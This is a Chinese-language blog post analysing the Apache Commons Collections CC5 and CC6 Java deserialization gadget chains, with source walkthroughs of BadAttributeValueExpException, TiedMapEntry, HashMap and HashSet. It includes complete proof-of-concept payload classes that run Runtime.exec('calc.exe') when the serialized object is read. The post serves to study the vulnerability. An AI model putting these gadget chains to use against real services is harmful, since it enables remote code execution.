11-java安全——java反序列化CC5和CC6链分析
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了11-java安全——java反序列化CC5和CC6链分析相关的知识,希望对你有一定的参考价值。
CC5链分析
复习LazyMap利用链: https://blog.csdn.net/qq_35733751/article/details/118462281
在学习CC2链时我们知道由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,并且还用了一个新的类来调用LazyMap的get方法。
CC5链的payload代码:
package com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC5Test {
public static void main(String[] args) throws Exception {
//构造核心利用代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//构造利用链
ChainedTransformer chain = new ChainedTransformer(transformers);
//触发连
HashMap hashMap = new HashMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
//将lazyMap传给TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazymap, "test");
//反射调用TiedMapEntry
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field val = bad.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(bad,entry);
//序列化 --> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bad);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
CC5链构造核心利用代码和利用链还是和CC1链一样没啥区别,我们主要关注后面是如何触发利用链。在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性。
先来看TiedMapEntry类,该类实现了Serializable接口,在getValue方法并通过map属性调用了一个get方法
public Object getValue() {
return map.get(key);
}
map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数传给map属性。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。
而getValue方法是在toString方法中被调用
public String toString() {
return getKey() + "=" + getValue();
}
现在我们要思考的是如何调用TiedMapEntry类的toString?于是接下来需要找到一个类必须满足以下条件:
- 重写readObject方法
- 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)
于是接下来我们找到一个BadAttributeValueExpException类:
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//从流中读取字段
ObjectInputStream.GetField gf = ois.readFields();
//从流中读取val属性
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
//相当于属性val调用toString方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。
CC5利用链流程:
CC6链分析
TiedMapEntry类中有两个方法都调用了getValue方法,CC5链是通过toString方法调用getValue方法从而触发LazyMap,而在CC6链中则是通过hashCode方法来调用getValue方法。
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
我们要找哪些地方调用了hashCode方法,然后再hashMap中找到一个hash方法,并且在该方法中调用了一个hashCode方法,参数k是通过put方法传递的,分析参数key是否可控。
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
//调用hashcode方法
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
而hash方法是在put方法中被调用,HashMap每次调用put方法都会调用hash方法计算hash值。
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
//计算hash值
//调用hash方法
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
利用链构造完了,接下来需要找到一个触发利用链的地方(重写了readObject方法同时又调用了put方法的地方),正好有一个HashSet集合满足条件,hashSet重写了writeObject和readObject方法实现自定义序列化与反序列化
//序列化
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
//将元素依次序列化
for (E e : map.keySet())
s.writeObject(e);
}
//反序列化
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
//依次将元素还原成java对象(反序列化)
E e = (E) s.readObject();
//将java对象传给put方法
map.put(e, PRESENT);
}
}
writeObject方法中会将hashSet集合中的元素依次取出来序列化,readObject方法会判断当前HashSet对象是否为LinkedHashSet,如果不是则直接返回HashMap,接着从流中读取hashSet集合中的元素并还原成java对象,然后将java对象作为参数key传给put方法,自定义序列化和反序列化过程中的hashSet集合中的元素是可控的,如果在hashSet集合中添加TiedMapEntry对象元素,这样就能控制put方法中的key了。
分析hashSet集合add方法底层实现后发现add方法底层调用了map.put方法,并且在putVal方法内部将key传给了Node。
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
//resize方法会返回table属性的引用
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
//将key传给Node
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}
Node创建了一个实例
Node<K,V> newNode(int hash, K key, V value, Node<K,V> next) {
return new Node<>(hash, key, value, next);
}
然后将hashSet集合添加的元素给了Node对象的key属性
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
//将key赋值给key属性
this.key = key;
this.value = value;
this.next = next;
}
返回到putVal方法中,该方法会将Node对象(key/value键值对)赋给一个Node<K,V>[]类型的tab数组(tab实际上是由resize方法返回的table属性引用),也就是HashMap的table属性。
经过分析之后发现hashSet集合的add方法底层还是调用了map.put方法,控制put方法中的参数key的思路有两种:
方式一:往hashSet集合中直接添加TiedMapEntry对象。
方式二:是通过反射先从hashSet集合中获取map属性所指向的hashmap对象,然后再从hashmap中获取table属性中的Node对象,最后将Node对象中的key属性修改为TiedMapEntry对象。
以上方式都可以构造利用链,在yseoserial工具CC6链中是使用第二种方式。
CC6链的payload代码:
package com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CC6Test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");
HashSet hashSet = new HashSet(1);
hashSet.add("foo");
//获取HashSet的map属性
Field field = hashSet.getClass().getDeclaredField("map");
field.setAccessible(true);
//获取HashSet集合中的map属性的hashmap对象
HashMap hashset_map = (HashMap)field.get(hashSet);
//获取HashMap的table属性
field = HashMap.class.getDeclaredField("table");
field.setAccessible(true);
//从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组)
Object[] array = (Object[]) field.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
//获取HashMap.Node类中的key属性
keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
//然后将HashMap.Node类中的key属性设置为TiedMapEntry对象
keyField.set(node, tiedMapEntry);
//序列化 --> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
以上是关于11-java安全——java反序列化CC5和CC6链分析的主要内容,如果未能解决你的问题,请参考以下文章
[Java反序列化]CommonsCollections5利用链学习